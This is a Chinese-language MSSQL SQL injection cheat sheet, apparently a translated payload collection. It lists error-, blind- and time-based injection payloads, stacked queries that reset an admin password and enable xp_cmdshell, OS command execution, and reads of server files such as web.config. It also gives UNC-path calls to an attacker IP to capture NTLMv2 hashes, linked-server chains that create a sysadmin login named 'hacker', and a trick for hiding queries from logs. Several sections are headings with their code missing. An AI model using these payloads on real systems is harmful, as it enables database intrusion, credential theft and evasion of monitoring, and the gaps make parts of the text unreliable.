MSSQL 注入 (MSSQL Injection)
MSSQL 注入是一种安全漏洞,当攻击者可以插入或“注入”恶意 SQL 代码到由 Microsoft SQL Server (MSSQL) 数据库执行的查询中时,就会发生这种攻击。这通常发生在用户输入被直接包含在 SQL 查询中而没有经过适当的清洗或参数化处理时。SQL 注入可能导致严重的后果,如未经授权的数据访问、数据操纵,甚至获得对数据库服务器的控制权。
摘要 (Summary)
- MSSQL 默认数据库 (#mssql-default-databases)
- MSSQL 注释 (#mssql-comments)
- MSSQL 枚举 (#mssql-enumeration)
- 基于 UNION 的 MSSQL 注入 (#mssql-union-based)
- 基于报错的 MSSQL 注入 (#mssql-error-based)
- 基于盲注的 MSSQL 注入 (#mssql-blind-based)
- 基于时间的 MSSQL 注入 (#mssql-time-based)
- MSSQL 堆叠查询 (#mssql-stacked-query)
- MSSQL 文件操作 (#mssql-file-manipulation)
- MSSQL 命令执行 (#mssql-command-execution)
- MSSQL 带外注入 (Out of Band)
- MSSQL 受信链接 (Trusted Links)
- MSSQL 权限 (#mssql-privileges)
- MSSQL 数据库凭据 (#mssql-database-credentials)
- MSSQL 隐蔽操作建议 (OPSEC)
- 参考资料 (#references)
MSSQL 默认数据库 (MSSQL Default Databases)
| 数据库名称 | 描述 (Description) |
|---|---|
| pubs | 在 MSSQL 2005 中不可用 |
| model | 所有版本均可用 |
| msdb | 所有版本均可用 |
| tempdb | 所有版本均可用 |
| northwind | 所有版本均可用 |
| information_schema | 适用于 MSSQL 2000 及更高版本 |
MSSQL 注释 (MSSQL Comments)
| 注释类型 | 描述 (Description) |
|---|---|
/* MSSQL Comment */ |
C 风格注释 |
-- |
SQL 注释 |
;%00 |
空字节 |
MSSQL 枚举 (MSSQL Enumeration)
| 枚举描述 | SQL 查询 |
|---|---|
| DBMS 版本 | SELECT @@version |
| 数据库名称 | SELECT DB_NAME() |
| 数据库架构 (Schema) | SELECT SCHEMA_NAME() |
| 主机名 | SELECT HOST_NAME() |
| 主机名 | SELECT @@hostname |
| 服务器名称 | SELECT @@SERVERNAME |
| 产品版本 | SELECT SERVERPROPERTY('productversion') |
| 产品级别 | SELECT SERVERPROPERTY('productlevel') |
| 数据库版本名 | SELECT SERVERPROPERTY('edition') |
| 当前用户 | SELECT CURRENT_USER |
| 当前用户名 | SELECT user_name(); |
| 系统用户名 | SELECT system_user; |
| 登录名 | SELECT user; |
MSSQL 列出数据库 (MSSQL List Databases)
SELECT name FROM master..sysdatabases;
SELECT name FROM master.sys.databases;
-- 对于 N = 0, 1, 2, …
SELECT DB_NAME(N);
-- 将分隔符(例如 ', ')更改为你想要的任何内容 => master, tempdb, model, msdb
-- (仅适用于 MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases;
MSSQL 列出表名 (MSSQL List Tables)
-- 使用 xtype = 'V' 以列出视图 (Views)
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <数据库名>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
-- 列出 master..sometable 的列名及其类型
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<数据库名>'
-- 将分隔符(例如 ', ')更改为你想获得的任何格式 => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (仅适用于 MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';
MSSQL 列出列名 (MSSQL List Columns)
-- 仅适用于当前数据库
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');
-- 列出 master..sometable 的列名及其类型
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
SELECT table_catalog, column_name FROM information_schema.columns
SELECT COL_NAME(OBJECT_ID('<数据库名>.<表名>'), <索引>)
基于 UNION 的 MSSQL 注入 (MSSQL Union Based)
-
提取数据库名称
-
从
Injection数据库中提取表名 -
提取
Users表的列名 -
最后提取数据内容
基于报错的 MSSQL 注入 (MSSQL Error Based)
| 报错载荷名 | 攻击载荷 (Payload) |
|---|---|
| CONVERT | AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- - |
| IN | AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- - |
| EQUAL | AND 1337=CONCAT('~',(SELECT @@version),'~') -- - |
| CAST | CAST((SELECT @@version) AS INT) |
-
针对整数输入点:
-
针对字符串输入点:
基于盲注的 MSSQL 注入 (MSSQL Blind Based)
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
MSSQL 盲注下的 Substring 等价函数 (MSSQL Blind With Substring Equivalent)
| 函数名 | 语法示例 |
|---|---|
SUBSTRING |
SUBSTRING('foobar', <起始位置>, <长度>) |
示例:
AND ASCII(SUBSTRING((SELECT TOP 1 username FROM tblusers),1,1))=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_name='Users') > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0))) AS varchar(8000)),1,1)),0)>90
基于时间的 MSSQL 注入 (MSSQL Time Based)
在基于时间的盲注攻击中,攻击者注入使用 WAITFOR DELAY 的载荷使数据库暂停一段时间。攻击者通过观察响应时间来推断注入的载荷是否成功执行。
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
MSSQL 堆叠查询 (MSSQL Stacked Query)
-
不带任何语句终止符的堆叠查询
-- 多条 SELECT 语句 SELECT 'A' SELECT 'B' SELECT 'C' -- 通过堆叠查询更新密码 SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')-- -- 使用堆叠查询启用 xp_cmdshell -- 注意:你将无法直接看到查询输出,请将其重定向到文件 SELECT id, username, password FROM users WHERE username = 'admin' exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- -
使用分号 "
;" 添加另一个查询
MSSQL 文件操作 (MSSQL File Manipulation)
MSSQL 读取文件 (MSSQL Read File)
权限要求:BULK 选项需要 ADMINISTER BULK OPERATIONS 或 ADMINISTER DATABASE BULK OPERATIONS 权限。
示例:
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
MSSQL 写入文件 (MSSQL Write File)
MSSQL 命令执行 (MSSQL Command Execution)
XP_CMDSHELL
xp_cmdshell 是 Microsoft SQL Server 中的一个系统存储过程,允许你直接从 T-SQL (Transact-SQL) 内部运行操作系统命令。
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
如果你需要重新启用 xp_cmdshell(在 SQL Server 2005 及更高版本中默认禁用):
-- 启用高级选项
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
-- 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
Python 脚本 (Python Script)
由不同于使用
xp_cmdshell执行命令的用户来执行
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
MSSQL 带外注入 (MSSQL Out of Band)
MSSQL DNS 数据外带 (MSSQL DNS exfiltration)
来自 @ptswarm 的技术:
-
权限要求:需要在服务器上具有
VIEW SERVER STATE权限。 -
权限要求:需要
CONTROL SERVER权限。
MSSQL UNC 路径 (MSSQL UNC Path)
MSSQL 支持堆叠查询,因此我们可以创建一个指向我们 IP 地址的变量,然后使用 xp_dirtree 函数列出 SMB 共享中的文件,从而抓取 NTLMv2 哈希。
xp_dirtree '\\攻击者IP\文件'
xp_fileexist '\\攻击者IP\文件'
BACKUP LOG [测试库] TO DISK = '\\攻击者IP\文件'
BACKUP DATABASE [测试库] TO DISK = '\\攻击者IP\文件'
RESTORE LOG [测试库] FROM DISK = '\\攻击者IP\文件'
RESTORE DATABASE [测试库] FROM DISK = '\\攻击者IP\文件'
RESTORE HEADERONLY FROM DISK = '\\攻击者IP\文件'
RESTORE FILELISTONLY FROM DISK = '\\攻击者IP\文件'
RESTORE LABELONLY FROM DISK = '\\攻击者IP\文件'
RESTORE REWINDONLY FROM DISK = '\\攻击者IP\文件'
RESTORE VERIFYONLY FROM DISK = '\\攻击者IP\文件'
MSSQL 受信链接 (MSSQL Trusted Links)
Microsoft SQL Server 中的受信链接 (Trusted Link) 是一种链接服务器关系,允许一个 SQL Server 实例在另一个服务器(或外部 OLE DB 数据源)上执行查询甚至远程存储过程,就像远程服务器是本地环境的一部分一样。链接服务器公开了一些选项,用于控制是否允许远程存储过程和 RPC 调用以及在远程服务器上使用何种安全上下文。
数据库之间的链接甚至跨森林信任 (Forest Trusts) 也可以工作。
-
使用
sysservers查找链接:包含 SQL Server 实例可以作为 OLE DB 数据源访问的每个服务器的一行信息。 -
通过链接执行查询
-
执行 Shell 命令
-- 启用 xp_cmdshell 并执行 "dir" 命令 EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"') -- 创建 SQL 用户并授予 sysadmin 权限 EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
MSSQL 权限 (MSSQL Privileges)
MSSQL 列出权限 (MSSQL List Permissions)
-
列出当前用户在服务器上的有效权限。
-
列出当前用户在数据库上的有效权限。
-
列出当前用户在某一视图上的有效权限。
-
检查当前用户是否为指定服务器角色的成员。
MSSQL 使普通用户成为 DBA (MSSQL Make User DBA)
MSSQL 数据库凭据 (MSSQL Database Credentials)
-
MSSQL 2000: Hashcat 模式 131:
0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 -
MSSQL 2005: Hashcat 模式 132:
0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
MSSQL 隐蔽操作建议 (MSSQL OPSEC)
在查询中使用 SP_PASSWORD 以从日志中隐藏,例如:' AND 1=1--sp_password
参考资料 (References)
- AWS WAF 客户端因非常规的 MSSQL 设计选择而对 SQL 注入攻击易感 - Marc Olivier Bergeron - 2023年6月21日
- “Order By” 子句中的基于错误的 SQL 注入 - Manish Kishan Tanwar - 2018年3月26日
- MSSQL 注入攻击全攻略 - ZeQ3uL && JabAv0C - 2009年1月28日
- IS_SRVROLEMEMBER (Transact-SQL) - Microsoft - 2024年4月9日
- MSSQL 注入速查表 - @pentestmonkey - 2011年8月30日
- MSSQL 受信链接 - HackTricks - 2024年9月15日
- SQL Server 中的链接服务器与 Shell:如何黑掉 SQL Server 中的数据库链接 - Antti Rantasaari - 2013年6月6日
- sys.fn_my_permissions (Transact-SQL) - Microsoft - 2024年1月25日